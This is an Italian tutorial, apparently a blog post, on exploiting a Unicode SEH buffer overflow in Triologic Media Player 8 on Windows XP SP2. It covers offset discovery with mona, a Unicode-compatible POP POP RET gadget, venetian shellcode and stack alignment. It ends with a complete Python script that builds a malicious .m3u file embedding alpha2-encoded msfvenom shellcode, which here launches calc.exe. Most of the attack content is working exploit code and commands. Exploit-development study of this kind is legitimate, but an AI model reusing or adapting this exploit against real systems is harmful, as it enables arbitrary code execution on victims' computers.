Unicode raccoglie una gamma più ampia di caratteri rispetto ad ASCII. Per questo motivo, per rappresentare un carattere, unicode ha bisogno di 2 bytes quando al set ASCII ne basta 1.

  • ASCII: A = 0x41
  • Unicode: A = 0x0041

Alcuni software permettono di gestire lingue, come l’arabo, il greco etc perciò hanno bisogno di fare una conversione dell’input a runtime. Ogni byte inviato con l’exploit quindi sarà preceduto dal byte 0x00 (non sempre) e questo causerà non pochi problemi.

Unicode con SEH

Quello che segue è un esempio pratico, cercherò di raccogliere in breve tutte le problematiche riscontrate. La procedura è la stessa di un BOF che sfrutta SEH, quindi ci sarà da trovare un gadget POP POP RET per puntare ad nSEH. La differenza principale sta nel fatto che il gadget POP POP RET deve essere compatibile con la struttura unicode, quindi 0x00AA00AA e nSEH dovrà contenere invece che uno short jump, degli opcode equivalenti a NOP ma per unicode, in modo da far proseguire l’esecuzione oltre SEH dove sarà piazzato lo shellcode da eseguire.

Software: Triologic Media Player 8

OS: Windows XP SP2

Architettura: 0x86

Sovrascrittura SEH

Inizio creando un file *.m3u con 5000 A al suo interno:

#!/usr/local/bin/python3

import pwn

total_buf = 5000
buf = b"A" * total_buf

print('[+] writing exploit file...')

f = open('./exploit.m3u', 'wb')
print('[+] writing exploit file...')
f.write(buf)
print('[+] done!')
f.close()

Carico il file attraverso il pulsante LIST del lettore multimediale e il debugger si ferma su un’eccezione. Dal menu View > SEH chain > Follow address in stack visualizzo nello stack il SE Handler e vedo che punta all’indirizzo 0x00410041, è stato sovrascritto dalle A che però sono state precedute byte per byte dalla sequenza 0x00.

SEH Overwrite #1

Calcolo offset sovrascrittura SEH

Creo il pattern con mona:

!mona pc 5000

Genero nuovamente il file e lo ricarico nel lettore multimediale (dopo averlo chiuso e riaperto manualmente):

SEH Overwrite #2

Questa volta è stato sovrascritto dalla sequenza 0x00390072. Per calcolare l’offset, dal momento che il pattern non considera la conversione in unicode, bisogna togliere i null bytes e considerare 4 bytes, andando a leggere i valori presenti anche in nSEH, quindi la sequenza da cercare sarà: 0x39724138.

Offset 536 bytes

Dopo 536 bytes SEH viene sovrascritto:

#!/usr/local/bin/python3

total_buf = 5000
offset = 536
buf = b"A" * offset + b"BBBB" + b"C" * (total_buf - offset - 4)

print('[+] writing exploit file...')

f = open('./exploit.m3u', 'wb')
print('[+] writing exploit file...')
f.write(buf)
print('[+] done!')
f.close()

Ovviamente viene sovrascritto anche nSEH perché i bytes sono convertiti in unicode, quindi i 4 bytes che riempiono SEH sono le due “B” precedute dai null bytes: 0x00420042, le altre 2 B hanno sovrascritto nSEH.

Gadget POP POP RET

A questo punto occorre trovare un gadget pop pop ret che sia compatibile con unicode:

!mona seh -cp unicode

Se immunity sembra bloccato, lasciarlo caricare.

Mona trova 11 possibili alternative, l’unica funzionante è 0x004100f2, vediamo perché. Provo ad utilizzare 0x004b00cb, facendo attenzione a riempire anche nSEH col mio payload:

#!/usr/local/bin/python3

total_buf = 5000
offset = 536
nSEH = b"BB"
SEH = b"\xcb\x4b"
buf = b"A" * offset + nSEH + SEH + b"C" * (total_buf - offset - 4 - 4)

print('[+] writing exploit file...')

f = open('./exploit.m3u', 'wb')
print('[+] writing exploit file...')
f.write(buf)
print('[+] done!')
f.close()
SEH pop pop ret

Seguo l’indirizzo e faccio dx > Disassemble per vedere le istruzioni, quindi imposto un breakpoint sul primo POP e passo l’eccezione a immunity [Shift+F9]:

Eseguo pop pop ret con F7 e vengo rimandato correttamente a nSEH:

nSEH

È importante notare come vengono “smistate” le sequenze di bytes:

0041 00 # Termine delle A
42      # Inizio nSEH
0042 00 # Completamento nSEH
CB      # Inizio SEH
004B 00 # Completamento SEH

Vediamo come gli 00 della prima V vengono “appesi” all’ultima A e come gli 00 dell’inizio di SEH vengono appesi a nSEH.

In precedenza ho detto che nSEH deve essere sovrascritto con delle istruzioni equivalenti a NOP per unicode in modo da mandare avanti l’esecuzione del programma. In questa situazione l’esecuzione s’interromperà su 004200, il programma non sarà in grado di continuare perché 004200 non è un’istruzione valida, almeno in questo contesto.

Per far fronte a questo problema ci viene in soccorso il venetian shellcode, un padding nella forma 00AA00 che permetterà di far proseguire l’esecuzione, come fosse un NOP. Si tratta di un byte che se preceduto e seguito da 00 non fa niente se non proseguire l’esecuzione del programma.

Di seguito una breve lista di venetian shellcode.

007000     ADD BYTE PTR DS:[EAX],DH
007100     ADD BYTE PTR DS:[ECX],DH
007200     ADD BYTE PTR DS:[EDX],DH
007300     ADD BYTE PTR DS:[EBX],DH

nSEH quindi diventerà: \x42\x73

Lo stesso problema però si presenterà anche più avanti, su SEH. Infatti dopo l’esecuzione dei NOP unicode di nSEH ci troveremo su SEH che dall’immagine precedente sarà interpretato come RETF e ADD BYTE PTR DS […] che potrebbe dirottare l’esecuzione del programma in un punto inaspettato o nella peggiore delle ipotesi fermare l’esecuzione.

E qui si torna a quando ho scritto che l’unico gadget pop pop ret funzionante su SEH è 0x004100f2. Questo perché anche l’istruzione che sovrascrive SEH dovrà poi essere interpretata come un venetian shellcode per far proseguire l’esecuzione verso le C del buffer. Vediamo cosa accade:

Esecuzione prosegue sulle C

La sequenza di istruzioni F2 e 0041 00 non ha interrotto l’esecuzione del programma che è proseguita sulle C.

A questo punto sebbene in memoria ci sia tanto spazio per lo shellcode non è possibile piazzarlo direttamente dopo SEH.

Shellcode

Lo shellcode ovviamente dovrà essere compatibile con la codifica unicode, qualsiasi payload generato con msfvenom, quindi, dovrà essere convertito.

L’encoder più famoso è alpha2 ed è possibile scaricarlo qui https://packetstormsecurity.com/files/download/34447/alpha2.tar.gz

Va compilato come segue:

gcc alpa2.c -o alpha2

E’ importante tenere a mente come funziona l’encoder per capire la parte che segue.

Alpha2 prende lo shellcode e lo incapsula in un decoder. Per eseguire lo shellcode alpha2 ha bisogno di un registro a cui puntare e in questo registro ci deve essere esattamente il nostro shellcode. Questo è il motivo per cui lo shellcode non può essere posizionato subito dopo SEH, perché va allineato lo stack in modo il decoder punti a se stesso così da decodificare lo shellcode ed eseguirlo.

Per saltare a un indirizzo specifico si può utilizzare la stessa tecnica che si usa quando dobbiamo effettuare un salto in una parte di memoria più grande.

L’allineamento dello stack avviene identificando per prima cosa dove posizionare lo shellcode. Supponiamo che voglia posizionare lo shellcode in 0x12BB6C:

push reg # pusha nello stack un registro di riferimento
pop eax  # salva in eax il valore di riferimento

# si calcola l'offset tra l'indirizzo in cui si piazza lo shellcode e l'indirizzo salvato in eax. Supponiamo 800 bytes.

add eax, 0x11002000 # aggiunge 0x11002000 al valore in eax
sub eax, 0x11001200 # toglie da eax 0x11002000

# la sub serve per ottenere eax + 800 bytes, questo perché unicode ci consente di aggiungere o sottrarre solo di 100 in 100 e il valore che andiamo a aggiungere o sottrate deve essere unicode compatible. (0xAA00AA00)

push eax
ret

Tutte queste istruzioni vanno poi sistemate con un venetian shellcode in maniera da renderle valide per la codifica unicode.

Vediamo l’esempio pratico:

Avevo detto di voler piazzare lo shellcode in 0x12BB6C. Quando l’esecuzione del programma arriva alle C, il registro EBP punta a 0x12B34C.

Offset: 0x12BB6C – 0x12B34C = 0x820 (2080 bytes)

Facendo 0x11002000 – 0x820 ottengo 0x110017E0. Per renderlo unicode compatibile devo aggiungere a 0x820, 0xE0. Ricapitolando:

0x12BB6C - 0x12B34C = 0x820
0x11002000 - 0x820 = 0x110017E0 
# 0x11002000 è solo un numero di riferimento da cui poi sottrarre
0x820 + 0xE0 = 0x900
0x11002000 - 0x900 = 0x11001700 # unicode compatibile

L’offset risultante non sarà più di 2080 bytes ma di 2304 bytes (0x900). Questo padding poi dovrà essere diviso per 2 (1152) perché ad ogni byte verrà aggiunto 0x00, quindi la lunghezza raddoppia in automatico.

Lo shellcode quindi si dovrà trovare a 0x12BB6C + 0xE0 = 0x12BC4C

Proviamo:

55                      push   ebp
58                      pop    eax
05 00 20 00 11          add    eax,0x11002000
2d 00 17 00 11          sub    eax,0x11001700
50                      push   eax
c3                      ret

A questo dobbiamo aggiungere venetian shellcode per rendere tutte le istruzioni unicode compatible:

align  = b"\x55"                        # push   ebp
align += b"\x73"                        # venetian shellcode
align += b"\x58"                        # pop    eax
align += b"\x73"                        # venetian shellcode
align += b"\x05\x20\x11"                # add    eax,0x11002000
align += b"\x73"                        # venetian shellcode
align += b"\x2d\x17\x11"                # sub    eax,0x11001700
align += b"\x73"                        # venetian shellcode
align += b"\x50"                        # push   eax
align += b"\x73"                        # venetian shellcode
align += b"\xc3"                        # ret
allineamento stack e venetian padding

Alla fine della sequenza di istruzioni, se i calcoli sono giusti, ESP dovrebbe puntare a 0x12BC4C. L’immagine seguente mostra l’exploit finale comprensivo di shellcode. I calcoli sono corretti e il programma prosegue l’esecuzione all’inizio dello shellcode.

ESP punta correttamente a 0x12BC4C

Lo shellcode (calc.exe) è stato generato con msfvenom ed encodato con alpha2:

msfvenom -a x86 -p windows/exec cmd=calc.exe -f raw -o calc

./alpha2 eax --unicode --uppercase < calc

L’output di alpha2 è il seguente:

PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLK8TBKPKPKPQPU9IU017PBD4KPPNP4KPRLLDK0RN44K3BMXLO6WOZMVNQKO6LOLS1CLKRNLMP91XOLMKQ7WJBL2R2R74K0RLP4KOZOL4KPLLQRXK318M1J1PQTKQIMPKQZ34KQ9LXK3OJOY4KNTTKKQZ601KOFLWQHOLMKQ8GNXK0D5L6M33MJXOKCMMTBUZD284K28MTKQZ31V4KLLPKTKPXMLM18STKM4DKM1XPSYOTMTNDQK1KQQPY0ZR1KO9PQOQO1JDKLRJK4MQMRJKQTMSUGBKPM0M0PP38NQ4KROTGKO9EWKJPVUVBPVBH5VF57M5MKOJ5OLLFSLKZ3PKKK0CEKUWKQ7LSCBBOQZKPQCKOZ5S3312LS3NNQU3H2EKPA

L’exploit finale è il seguente:

#!/usr/local/bin/python3

total_buf = 5000
offset = 536
nSEH = b"\x42\x73"
SEH = b"\xf2\x41"

align  = b"\x55"                        # push   ebp
align += b"\x73"                        # venetian shellcode
align += b"\x58"                        # pop    eax
align += b"\x73"                        # venetian shellcode
align += b"\x05\x20\x11"                # add    eax,0x11002000
align += b"\x73"                        # venetian shellcode
align += b"\x2d\x17\x11"                # sub    eax,0x11001700
align += b"\x73"                        # venetian shellcode
align += b"\x50"                        # push   eax
align += b"\x73"                        # venetian shellcode
align += b"\xc3"                        # ret
padding = b"\x73" * (1152 - offset - len(nSEH) - len(SEH) - len(align) - 480)
shellcode = b"PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLK8TBKPKPKPQPU9IU017PBD4KPPNP4KPRLLDK0RN44K3BMXLO6WOZMVNQKO6LOLS1CLKRNLMP91XOLMKQ7WJBL2R2R74K0RLP4KOZOL4KPLLQRXK318M1J1PQTKQIMPKQZ34KQ9LXK3OJOY4KNTTKKQZ601KOFLWQHOLMKQ8GNXK0D5L6M33MJXOKCMMTBUZD284K28MTKQZ31V4KLLPKTKPXMLM18STKM4DKM1XPSYOTMTNDQK1KQQPY0ZR1KO9PQOQO1JDKLRJK4MQMRJKQTMSUGBKPM0M0PP38NQ4KROTGKO9EWKJPVUVBPVBH5VF57M5MKOJ5OLLFSLKZ3PKKK0CEKUWKQ7LSCBBOQZKPQCKOZ5S3312LS3NNQU3H2EKPA"
buf = b"A" * offset + nSEH + SEH + align + padding + shellcode + b"C" * (total_buf - offset - 4 - 4 - len(shellcode) - len(padding))

print('[+] writing exploit file...')

f = open('./exploit.m3u', 'wb')
print('[+] writing exploit file...')
f.write(buf)
print('[+] done!')
f.close()